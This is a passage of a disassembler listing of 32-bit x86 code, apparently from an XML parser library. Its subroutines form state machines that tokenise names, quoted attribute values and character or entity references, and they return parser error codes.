loc_69B3288D:				; CODE XREF: sub_69B32791+167j
		cmp	word ptr [edi],	3Ah
		jz	short loc_69B328D8


loc_69B32893:				; CODE XREF: sub_69B32791+13Bj
		xor	eax, eax
		mov	ax, [edi]
		push	eax
		call	sub_69B31967
		test	eax, eax
		jz	short loc_69B328CE
		lea	eax, [esi+5Ch]
		cmp	[eax], bl
		jnz	short loc_69B328CE
		cmp	[esi+0A8h], bl
		jnz	short loc_69B328BD
		mov	ecx, [esi+34h]
		push	eax
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B328C4
; ---------------------------------------------------------------------------


loc_69B328BD:				; CODE XREF: sub_69B32791+11Ej
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B328C4:				; CODE XREF: sub_69B32791+12Aj
		cmp	eax, ebx
		jnz	short loc_69B3284D
		cmp	word ptr [edi],	3Ah
		jnz	short loc_69B32893


loc_69B328CE:				; CODE XREF: sub_69B32791+10Fj
					; sub_69B32791+116j
		cmp	word ptr [edi],	3Ah
		jnz	loc_69B32845


loc_69B328D8:				; CODE XREF: sub_69B32791+100j
		cmp	[esi+64h], ebx
		jnz	short loc_69B328FF
		mov	eax, [esi+34h]
		mov	ecx, [eax+8]
		sub	ecx, [eax+14h]
		push	2
		dec	ecx
		mov	[esi+60h], ecx
		mov	ecx, esi
		mov	[esi+64h], ebp
		call	sub_69B35447
		cmp	eax, ebx
		jz	short loc_69B3288D
		jmp	loc_69B3284D
; ---------------------------------------------------------------------------


loc_69B328FF:				; CODE XREF: sub_69B32791+14Aj
		mov	eax, 0C00CE51Ch
		jmp	loc_69B3284D
sub_69B32791	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B32909	proc near		; CODE XREF: sub_69B33E72+2AAp
					; DATA XREF: sub_69B33E72+294o
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		sub	eax, 0
		jz	short loc_69B3291F
		dec	eax
		jz	short loc_69B3294C
		mov	eax, 0C00CE512h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B3291F:				; CODE XREF: sub_69B32909+Aj
		xor	eax, eax
		mov	ax, [esi+52h]
		push	eax
		call	sub_69B31967
		test	eax, eax
		jnz	short loc_69B32946
		mov	esi, [esi+34h]
		mov	eax, [esi+48h]
		sub	eax, [esi+8]
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFF2h
		add	eax, 0C00CE513h
		retn
; ---------------------------------------------------------------------------


loc_69B32946:				; CODE XREF: sub_69B32909+24j
		mov	word ptr [esi+4], 1


loc_69B3294C:				; CODE XREF: sub_69B32909+Dj
		push	edi
		lea	edi, [esi+52h]
		jmp	short loc_69B32989
; ---------------------------------------------------------------------------


loc_69B32952:				; CODE XREF: sub_69B32909+84j
		xor	eax, eax
		mov	ax, [edi]
		push	eax
		call	sub_69B31967
		test	eax, eax
		jz	short loc_69B3298F
		lea	eax, [esi+5Ch]
		cmp	byte ptr [eax],	0
		jnz	short loc_69B3298F
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B3297E
		mov	ecx, [esi+34h]
		push	eax
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B32985
; ---------------------------------------------------------------------------


loc_69B3297E:				; CODE XREF: sub_69B32909+67j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32985:				; CODE XREF: sub_69B32909+73j
		test	eax, eax
		jnz	short loc_69B32998


loc_69B32989:				; CODE XREF: sub_69B32909+47j
		cmp	word ptr [edi],	3Eh
		jnz	short loc_69B32952


loc_69B3298F:				; CODE XREF: sub_69B32909+56j
					; sub_69B32909+5Ej
		push	0
		mov	ecx, esi
		call	sub_69B3220F


loc_69B32998:				; CODE XREF: sub_69B32909+7Ej
		pop	edi
		pop	esi
		retn
sub_69B32909	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3299B	proc near		; DATA XREF: sub_69B33E72+70Do
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		xor	ebx, ebx
		sub	eax, ebx
		push	edi
		jz	short loc_69B329B8
		dec	eax
		jz	short loc_69B329EC
		mov	eax, 0C00CE512h
		jmp	loc_69B32A4F
; ---------------------------------------------------------------------------


loc_69B329B8:				; CODE XREF: sub_69B3299B+Ej
		lea	edi, [esi+52h]
		mov	ax, [edi]
		cmp	ax, [esi+56h]
		jz	short loc_69B329E6
		lea	ebp, [esi+5Ch]


loc_69B329C7:				; CODE XREF: sub_69B3299B+49j
		cmp	[ebp+0], bl
		jnz	short loc_69B329E6
		mov	ecx, [esi+34h]
		lea	eax, [esi+54h]
		push	eax
		push	edi
		call	sub_69B35B2D
		cmp	eax, ebx
		jl	short loc_69B329FA
		mov	ax, [edi]
		cmp	ax, [esi+56h]
		jnz	short loc_69B329C7


loc_69B329E6:				; CODE XREF: sub_69B3299B+27j
					; sub_69B3299B+2Fj
		mov	word ptr [esi+4], 1


loc_69B329EC:				; CODE XREF: sub_69B3299B+11j
		lea	eax, [esi+5Ch]
		cmp	[eax], bl
		jz	short loc_69B32A1E
		mov	eax, 0C00CE560h
		jmp	short loc_69B32A4F
; ---------------------------------------------------------------------------


loc_69B329FA:				; CODE XREF: sub_69B3299B+40j
		cmp	eax, 8000000Ah
		jnz	short loc_69B32A4F
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32A15
		mov	ecx, [esi+34h]
		push	ebp
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B32A4F
; ---------------------------------------------------------------------------


loc_69B32A15:				; CODE XREF: sub_69B3299B+6Cj
		mov	ecx, esi
		call	sub_69B34A8C
		jmp	short loc_69B32A4F
; ---------------------------------------------------------------------------


loc_69B32A1E:				; CODE XREF: sub_69B3299B+56j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32A35
		mov	ecx, [esi+34h]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B32A3C
; ---------------------------------------------------------------------------


loc_69B32A35:				; CODE XREF: sub_69B3299B+89j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32A3C:				; CODE XREF: sub_69B3299B+98j
		cmp	eax, ebx
		jnz	short loc_69B32A4F
		push	1
		mov	ecx, esi
		call	sub_69B3220F
		cmp	eax, ebx
		jl	short loc_69B32A4F
		xor	eax, eax


loc_69B32A4F:				; CODE XREF: sub_69B3299B+18j
					; sub_69B3299B+5Dj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B3299B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B32A54	proc near		; CODE XREF: sub_69B33E72+48Cp
					; DATA XREF: sub_69B33E72+476o
		push	ebx
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		xor	ebx, ebx
		sub	eax, ebx
		push	edi
		jz	short loc_69B32A7E
		dec	eax
		jz	short loc_69B32AA2
		dec	eax
		jz	loc_69B32AF8
		dec	eax
		jz	loc_69B32B53
		mov	eax, 0C00CE512h
		jmp	loc_69B32B9C
; ---------------------------------------------------------------------------


loc_69B32A7E:				; CODE XREF: sub_69B32A54+Dj
		mov	ax, [esi+52h]
		cmp	ax, 22h
		jz	short loc_69B32A98
		cmp	ax, 27h
		jz	short loc_69B32A98
		mov	eax, 0C00CE502h
		jmp	loc_69B32B9C
; ---------------------------------------------------------------------------


loc_69B32A98:				; CODE XREF: sub_69B32A54+32j
					; sub_69B32A54+38j
		mov	[esi+56h], ax
		mov	word ptr [esi+4], 1


loc_69B32AA2:				; CODE XREF: sub_69B32A54+10j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32ABC
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B32AC3
; ---------------------------------------------------------------------------


loc_69B32ABC:				; CODE XREF: sub_69B32A54+54j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32AC3:				; CODE XREF: sub_69B32A54+66j
		cmp	eax, ebx
		jnz	loc_69B32B9C
		xor	edi, edi
		mov	di, [esi+52h]
		push	edi
		call	sub_69B31987
		test	eax, eax
		jz	loc_69B32B87
		cmp	di, 3Ah
		jz	loc_69B32B87
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1
		mov	word ptr [esi+4], 2


loc_69B32AF8:				; CODE XREF: sub_69B32A54+13j
		lea	edi, [esi+52h]
		jmp	short loc_69B32B32
; ---------------------------------------------------------------------------


loc_69B32AFD:				; CODE XREF: sub_69B32A54+E2j
		xor	eax, eax
		mov	ax, [edi]
		push	eax
		call	sub_69B31967
		test	eax, eax
		jz	short loc_69B32B38
		lea	eax, [esi+5Ch]
		cmp	[eax], bl
		jnz	short loc_69B32B38
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32B27
		mov	ecx, [esi+34h]
		push	eax
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B32B2E
; ---------------------------------------------------------------------------


loc_69B32B27:				; CODE XREF: sub_69B32A54+C5j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32B2E:				; CODE XREF: sub_69B32A54+D1j
		cmp	eax, ebx
		jnz	short loc_69B32B9C


loc_69B32B32:				; CODE XREF: sub_69B32A54+A7j
		cmp	word ptr [edi],	3Ah
		jnz	short loc_69B32AFD


loc_69B32B38:				; CODE XREF: sub_69B32A54+B6j
					; sub_69B32A54+BDj
		cmp	[esi+5Ch], bl
		jz	short loc_69B32B44
		mov	eax, 0C00CE559h
		jmp	short loc_69B32B9C
; ---------------------------------------------------------------------------


loc_69B32B44:				; CODE XREF: sub_69B32A54+E7j
		mov	ax, [edi]
		cmp	ax, [esi+56h]
		jnz	short loc_69B32B87
		mov	word ptr [esi+4], 3


loc_69B32B53:				; CODE XREF: sub_69B32A54+1Aj
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32B6D
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B32B74
; ---------------------------------------------------------------------------


loc_69B32B6D:				; CODE XREF: sub_69B32A54+105j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32B74:				; CODE XREF: sub_69B32A54+117j
		cmp	eax, ebx
		jnz	short loc_69B32B9C
		or	dword ptr [esi+48h], 0FFFFFFFFh
		push	1
		mov	ecx, esi
		call	sub_69B3220F
		jmp	short loc_69B32B9C
; ---------------------------------------------------------------------------


loc_69B32B87:				; CODE XREF: sub_69B32A54+85j
					; sub_69B32A54+8Fj ...
		mov	esi, [esi+34h]
		mov	eax, [esi+48h]
		sub	eax, [esi+8]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFF1h
		add	eax, 0C00CE513h


loc_69B32B9C:				; CODE XREF: sub_69B32A54+25j
					; sub_69B32A54+3Fj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B32A54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B32BA0	proc near		; CODE XREF: sub_69B33E72+2F8p
					; DATA XREF: sub_69B33E72+2E2o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		cmp	eax, 7		; switch 8 cases
		push	edi
		mov	byte ptr [esi+8Eh], 1
		ja	loc_69B32ECC	; default
		xor	ebx, ebx
		jmp	ds:off_69B32ED6[eax*4] ; switch	jump


loc_69B32BC8:				; DATA XREF: .text:off_69B32ED6o
		mov	ax, [esi+52h]	; jumptable 69B32BC1 case 0
		cmp	ax, 22h
		jz	short loc_69B32BE2
		cmp	ax, 27h
		jz	short loc_69B32BE2
		mov	eax, 0C00CE502h
		jmp	loc_69B32ED1
; ---------------------------------------------------------------------------


loc_69B32BE2:				; CODE XREF: sub_69B32BA0+30j
					; sub_69B32BA0+36j
		mov	ecx, [esi+24h]
		mov	[esi+3Ch], ecx
		mov	byte ptr [esi+0A5h], 1
		mov	[esi+56h], ax
		mov	word ptr [esi+4], 1


loc_69B32BF9:				; CODE XREF: sub_69B32BA0+21j
					; DATA XREF: .text:off_69B32ED6o
		xor	ebx, ebx	; jumptable 69B32BC1 case 1
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32C15
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B32C1C
; ---------------------------------------------------------------------------


loc_69B32C15:				; CODE XREF: sub_69B32BA0+61j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32C1C:				; CODE XREF: sub_69B32BA0+73j
		cmp	eax, ebx
		jnz	loc_69B32ED1
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1
		mov	word ptr [esi+4], 2


loc_69B32C33:				; CODE XREF: sub_69B32BA0+21j
					; DATA XREF: .text:off_69B32ED6o
		lea	edi, [esi+52h]	; jumptable 69B32BC1 case 2


loc_69B32C36:				; CODE XREF: sub_69B32BA0+CBj
		mov	ax, [edi]
		cmp	ax, [esi+56h]
		jz	short loc_69B32C45
		cmp	ax, [esi+58h]
		jnz	short loc_69B32C4D


loc_69B32C45:				; CODE XREF: sub_69B32BA0+9Dj
		mov	ecx, [esi+3Ch]
		cmp	ecx, [esi+24h]
		jge	short loc_69B32CA3


loc_69B32C4D:				; CODE XREF: sub_69B32BA0+A3j
		cmp	[esi+5Ch], bl
		jnz	short loc_69B32CA3
		cmp	ax, 26h
		jz	short loc_69B32C72
		push	eax
		mov	ecx, esi
		call	sub_69B31F28
		push	2
		mov	ecx, esi
		call	sub_69B35447
		cmp	eax, ebx
		jz	short loc_69B32C36
		jmp	loc_69B32ED1
; ---------------------------------------------------------------------------


loc_69B32C72:				; CODE XREF: sub_69B32BA0+B6j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32C89
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B32C90
; ---------------------------------------------------------------------------


loc_69B32C89:				; CODE XREF: sub_69B32BA0+D8j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32C90:				; CODE XREF: sub_69B32BA0+E7j
		cmp	eax, ebx
		jnz	loc_69B32ED1
		mov	word ptr [esi+4], 3
		jmp	loc_69B32EC8
; ---------------------------------------------------------------------------


loc_69B32CA3:				; CODE XREF: sub_69B32BA0+ABj
					; sub_69B32BA0+B0j
		lea	eax, [esi+5Ch]
		cmp	[eax], bl
		jz	short loc_69B32CB4
		mov	eax, 0C00CE560h
		jmp	loc_69B32ED1
; ---------------------------------------------------------------------------


loc_69B32CB4:				; CODE XREF: sub_69B32BA0+108j
		mov	cx, [edi]
		cmp	cx, [esi+56h]
		jnz	short loc_69B32CF8
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32CD1
		mov	ecx, [esi+34h]
		push	eax
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B32CD8
; ---------------------------------------------------------------------------


loc_69B32CD1:				; CODE XREF: sub_69B32BA0+123j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32CD8:				; CODE XREF: sub_69B32BA0+12Fj
		cmp	eax, ebx
		jnz	loc_69B32ED1
		or	dword ptr [esi+48h], 0FFFFFFFFh
		push	1
		mov	ecx, esi
		mov	[esi+8Eh], bl
		call	sub_69B3220F
		jmp	loc_69B32ED1
; ---------------------------------------------------------------------------


loc_69B32CF8:				; CODE XREF: sub_69B32BA0+11Bj
		mov	eax, 0C00CE506h
		jmp	loc_69B32ED1
; ---------------------------------------------------------------------------


loc_69B32D02:				; CODE XREF: sub_69B32BA0+21j
					; DATA XREF: .text:off_69B32ED6o
		lea	ecx, [esi+5Ch]	; jumptable 69B32BC1 case 3
		cmp	[ecx], bl
		jnz	loc_69B32EB0
		lea	eax, [esi+52h]
		mov	dx, [eax]
		cmp	dx, 23h
		jnz	short loc_69B32D6A
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32D2D
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B32D34
; ---------------------------------------------------------------------------


loc_69B32D2D:				; CODE XREF: sub_69B32BA0+17Fj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32D34:				; CODE XREF: sub_69B32BA0+18Bj
		cmp	eax, ebx
		jnz	loc_69B32ED1
		mov	word ptr [esi+4], 4


loc_69B32D42:				; CODE XREF: sub_69B32BA0+21j
					; DATA XREF: .text:off_69B32ED6o
		lea	eax, [esi+5Ch]	; jumptable 69B32BC1 case 4
		cmp	[eax], bl
		jnz	loc_69B32EB0
		lea	ecx, [esi+52h]
		cmp	word ptr [ecx],	78h
		jnz	short loc_69B32DB5
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32D92
		push	eax
		push	ecx
		mov	ecx, [esi+34h]
		call	sub_69B35FE4
		jmp	short loc_69B32D99
; ---------------------------------------------------------------------------


loc_69B32D6A:				; CODE XREF: sub_69B32BA0+177j
		push	edx
		call	sub_69B31987
		test	eax, eax
		jnz	short loc_69B32D7E


loc_69B32D74:				; CODE XREF: sub_69B32BA0+31Cj
		mov	eax, 0C00CE50Eh
		jmp	loc_69B32ED1
; ---------------------------------------------------------------------------


loc_69B32D7E:				; CODE XREF: sub_69B32BA0+1D2j
		push	26h
		mov	ecx, esi
		call	sub_69B31F28
		mov	word ptr [esi+4], 7
		jmp	loc_69B32EC8
; ---------------------------------------------------------------------------


loc_69B32D92:				; CODE XREF: sub_69B32BA0+1BCj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32D99:				; CODE XREF: sub_69B32BA0+1C8j
		cmp	eax, ebx
		jnz	loc_69B32ED1
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1
		mov	word ptr [esi+4], 6
		jmp	loc_69B32EC8
; ---------------------------------------------------------------------------


loc_69B32DB5:				; CODE XREF: sub_69B32BA0+1B4j
		mov	ecx, [esi+34h]
		push	ebx
		mov	word ptr [esi+4], 5
		call	sub_69B318D1


loc_69B32DC4:				; CODE XREF: sub_69B32BA0+21j
					; DATA XREF: .text:off_69B32ED6o
		mov	ecx, esi	; jumptable 69B32BC1 case 5
		call	sub_69B31DA3
		cmp	eax, ebx
		jl	loc_69B32ED1
		cmp	word ptr [esi+52h], 3Bh
		jnz	short loc_69B32E39
		mov	ecx, [esi+34h]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_69B35C65
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_69B31C6B
		cmp	eax, ebx
		jl	loc_69B32ED1
		push	[ebp+var_C]


loc_69B32E04:				; CODE XREF: sub_69B32BA0+2C9j
		mov	ecx, esi
		call	sub_69B31F28
		push	2
		mov	ecx, esi
		call	sub_69B35447
		cmp	eax, ebx
		jnz	loc_69B32ED1
		jmp	loc_69B32EC2
; ---------------------------------------------------------------------------


loc_69B32E21:				; CODE XREF: sub_69B32BA0+21j
					; DATA XREF: .text:off_69B32ED6o
		mov	ecx, esi	; jumptable 69B32BC1 case 6
		call	sub_69B31D34
		xor	ebx, ebx
		cmp	eax, ebx
		jl	loc_69B32ED1
		cmp	word ptr [esi+52h], 3Bh
		jz	short loc_69B32E43


loc_69B32E39:				; CODE XREF: sub_69B32BA0+238j
		mov	eax, 0C00CE50Dh
		jmp	loc_69B32ED1
; ---------------------------------------------------------------------------


loc_69B32E43:				; CODE XREF: sub_69B32BA0+297j
		mov	ecx, [esi+34h]
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_69B35C65
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_69B31BE5
		cmp	eax, ebx
		jl	short loc_69B32ED1
		push	[ebp+var_4]
		jmp	short loc_69B32E04
; ---------------------------------------------------------------------------


loc_69B32E6B:				; CODE XREF: sub_69B32BA0+21j
					; DATA XREF: .text:off_69B32ED6o
		xor	eax, eax	; jumptable 69B32BC1 case 7
		mov	ax, [esi+52h]
		push	eax
		call	sub_69B31967
		xor	ebx, ebx
		jmp	short loc_69B32EA7
; ---------------------------------------------------------------------------


loc_69B32E7B:				; CODE XREF: sub_69B32BA0+309j
		cmp	[esi+5Ch], bl
		jnz	short loc_69B32EB0
		xor	eax, eax
		mov	ax, [esi+52h]
		mov	ecx, esi
		push	eax
		call	sub_69B31F28
		push	7
		mov	ecx, esi
		call	sub_69B35447
		cmp	eax, ebx
		jnz	short loc_69B32ED1
		xor	eax, eax
		mov	ax, [esi+52h]
		push	eax
		call	sub_69B31967


loc_69B32EA7:				; CODE XREF: sub_69B32BA0+2D9j
		test	eax, eax
		jnz	short loc_69B32E7B
		cmp	[esi+5Ch], bl
		jz	short loc_69B32EB7


loc_69B32EB0:				; CODE XREF: sub_69B32BA0+167j
					; sub_69B32BA0+1A7j ...
		mov	eax, 0C00CE559h
		jmp	short loc_69B32ED1
; ---------------------------------------------------------------------------


loc_69B32EB7:				; CODE XREF: sub_69B32BA0+30Ej
		cmp	word ptr [esi+52h], 3Bh
		jnz	loc_69B32D74


loc_69B32EC2:				; CODE XREF: sub_69B32BA0+27Cj
		mov	word ptr [esi+4], 2


loc_69B32EC8:				; CODE XREF: sub_69B32BA0+FEj
					; sub_69B32BA0+1EDj ...
		xor	eax, eax
		jmp	short loc_69B32ED1
; ---------------------------------------------------------------------------


loc_69B32ECC:				; CODE XREF: sub_69B32BA0+19j
		mov	eax, 0C00CE512h	; default


loc_69B32ED1:				; CODE XREF: sub_69B32BA0+3Dj
					; sub_69B32BA0+7Ej ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B32BA0	endp

; ---------------------------------------------------------------------------
off_69B32ED6	dd offset loc_69B32BC8	; DATA XREF: sub_69B32BA0+21r
		dd offset loc_69B32BF9	; jump table for switch	statement
		dd offset loc_69B32C33
		dd offset loc_69B32D02
		dd offset loc_69B32D42
		dd offset loc_69B32DC4
		dd offset loc_69B32E21
		dd offset loc_69B32E6B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B32EF6	proc near		; DATA XREF: sub_69B33973+79o
					; sub_69B35320+EDo

var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, ecx
		inc	ebx
		jmp	loc_69B330C5
; ---------------------------------------------------------------------------


loc_69B32F0A:				; CODE XREF: sub_69B32EF6+1D6j
		jmp	ds:off_69B3339E[eax*4]


loc_69B32F11:				; DATA XREF: .text:69B333AAo
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B33243
		cmp	word ptr [esi+52h], 78h
		jz	loc_69B33203
		mov	word ptr [esi+4], 4


loc_69B32F2C:				; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
					; DATA XREF: .text:69B333AEo
		mov	ecx, esi
		call	sub_69B31DA3
		test	eax, eax
		jl	loc_69B330D7
		cmp	word ptr [esi+52h], 3Bh
		jnz	loc_69B33238
		mov	ecx, [esi+34h]
		mov	edi, [ecx+8]
		sub	edi, [ecx+14h]
		lea	eax, [ebp+var_8]
		sub	edi, [esi+6Ch]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		dec	edi
		call	sub_69B35C65
		mov	ecx, [ebp+var_4]
		lea	eax, [esi+0C0h]
		push	eax
		lea	eax, [edi-2]
		push	eax
		mov	eax, [esi+6Ch]
		lea	eax, [ecx+eax*2+4]
		push	eax
		call	sub_69B31C6B
		test	eax, eax
		jl	loc_69B330D7
		push	2
		mov	dword ptr [esi+44h], 3Ah
		jmp	short loc_69B32FEE
; ---------------------------------------------------------------------------


loc_69B32F8E:				; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
					; DATA XREF: .text:69B333B2o
		mov	ecx, esi
		call	sub_69B31D34
		test	eax, eax
		jl	loc_69B330D7
		cmp	word ptr [esi+52h], 3Bh
		jnz	loc_69B33238
		mov	ecx, [esi+34h]
		mov	edi, [ecx+8]
		sub	edi, [ecx+14h]
		lea	eax, [ebp+var_8]
		sub	edi, [esi+6Ch]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		dec	edi
		call	sub_69B35C65
		mov	ecx, [ebp+var_4]
		lea	eax, [esi+0C0h]
		push	eax
		lea	eax, [edi-3]
		push	eax
		mov	eax, [esi+6Ch]
		lea	eax, [ecx+eax*2+6]
		push	eax
		call	sub_69B31BE5
		test	eax, eax
		jl	loc_69B330D7
		push	3
		mov	dword ptr [esi+44h], 3Bh


loc_69B32FEE:				; CODE XREF: sub_69B32EF6+96j
		pop	ebx


loc_69B32FEF:				; CODE XREF: sub_69B32EF6+1A7j
		mov	word ptr [esi+4], 0Ah
		jmp	loc_69B330C5
; ---------------------------------------------------------------------------


loc_69B32FFA:				; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
					; DATA XREF: .text:69B333B6o
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B33243
		cmp	word ptr [esi+52h], 3Bh
		jnz	loc_69B33238
		mov	eax, [esi+60h]
		test	eax, eax
		jle	short loc_69B3301C
		sub	eax, [esi+6Ch]
		dec	eax
		jmp	short loc_69B3301E
; ---------------------------------------------------------------------------


loc_69B3301C:				; CODE XREF: sub_69B32EF6+11Ej
		xor	eax, eax


loc_69B3301E:				; CODE XREF: sub_69B32EF6+124j
		mov	ecx, [esi+34h]
		mov	[esi+80h], eax
		mov	byte ptr [esi+0A5h], 0
		mov	edi, [ecx+8]
		sub	edi, [ecx+14h]
		lea	eax, [ebp+var_8]
		sub	edi, [esi+6Ch]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		dec	edi
		call	sub_69B35C65
		mov	ecx, [ebp+var_4]
		mov	eax, [esi+6Ch]
		lea	ebx, [edi-1]
		push	ebx
		lea	eax, [ecx+eax*2+2]
		push	eax
		call	sub_69B31B59
		test	ax, ax
		mov	[esi+0C0h], ax
		jnz	short loc_69B33093
		cmp	[esi+8Bh], al
		jz	loc_69B3324D
		mov	eax, [esi+6Ch]
		mov	ecx, [ebp+var_4]
		push	ebx
		lea	eax, [ecx+eax*2+2]
		push	eax
		call	sub_69B1F9DC
		cmp	ax, 0FFFFh
		mov	[esi+0C0h], ax
		jz	loc_69B3324D


loc_69B33093:				; CODE XREF: sub_69B32EF6+16Dj
		xor	ebx, ebx
		inc	ebx
		mov	dword ptr [esi+44h], 3Ch
		jmp	loc_69B32FEF
; ---------------------------------------------------------------------------


loc_69B330A2:				; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
					; DATA XREF: .text:69B333C6o
		mov	eax, [esi+44h]
		cmp	dword ptr [esi+40h], 0
		mov	[esi+40h], eax
		mov	eax, edi
		jnz	loc_69B3332A
		mov	ecx, [esi+34h]
		sub	eax, ebx
		push	eax
		call	sub_69B318D1
		mov	word ptr [esi+4], 0Bh


loc_69B330C5:				; CODE XREF: sub_69B32EF6+Fj
					; sub_69B32EF6+FFj
		movsx	eax, word ptr [esi+4]
		cmp	eax, 0Ch
		jbe	loc_69B32F0A
		mov	eax, 0C00CE512h


loc_69B330D7:				; CODE XREF: sub_69B32EF6+3Fj
					; sub_69B32EF6+87j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B330DC:				; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
					; DATA XREF: .text:off_69B3339Eo
		mov	eax, [esi+34h]
		and	dword ptr [esi+40h], 0
		mov	ecx, [eax+8]
		sub	ecx, [eax+14h]
		lea	eax, [ecx-1]
		test	eax, eax
		mov	[esi+6Ch], eax
		setnle	al
		mov	ecx, esi
		mov	[esi+70h], al
		call	sub_69B31E9B
		test	al, al
		jz	short loc_69B3310C
		mov	eax, [esi+44h]
		and	dword ptr [esi+44h], 0
		mov	[esi+40h], eax


loc_69B3310C:				; CODE XREF: sub_69B32EF6+20Aj
		mov	word ptr [esi+4], 1


loc_69B33112:				; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
					; DATA XREF: .text:69B333A2o
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B3312D
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B33134
; ---------------------------------------------------------------------------


loc_69B3312D:				; CODE XREF: sub_69B32EF6+223j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33134:				; CODE XREF: sub_69B32EF6+235j
		test	eax, eax
		jnz	short loc_69B330D7
		mov	word ptr [esi+4], 2


loc_69B3313E:				; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
					; DATA XREF: .text:69B333A6o
		lea	ecx, [esi+5Ch]
		cmp	byte ptr [ecx],	0
		jnz	loc_69B33243
		lea	eax, [esi+52h]
		mov	dx, [eax]
		cmp	dx, 23h
		jnz	short loc_69B33187
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B3316B
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B33172
; ---------------------------------------------------------------------------


loc_69B3316B:				; CODE XREF: sub_69B32EF6+267j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33172:				; CODE XREF: sub_69B32EF6+273j
		test	eax, eax
		jnz	loc_69B330D7
		mov	word ptr [esi+4], 3


loc_69B33180:				; CODE XREF: sub_69B32EF6+2C9j
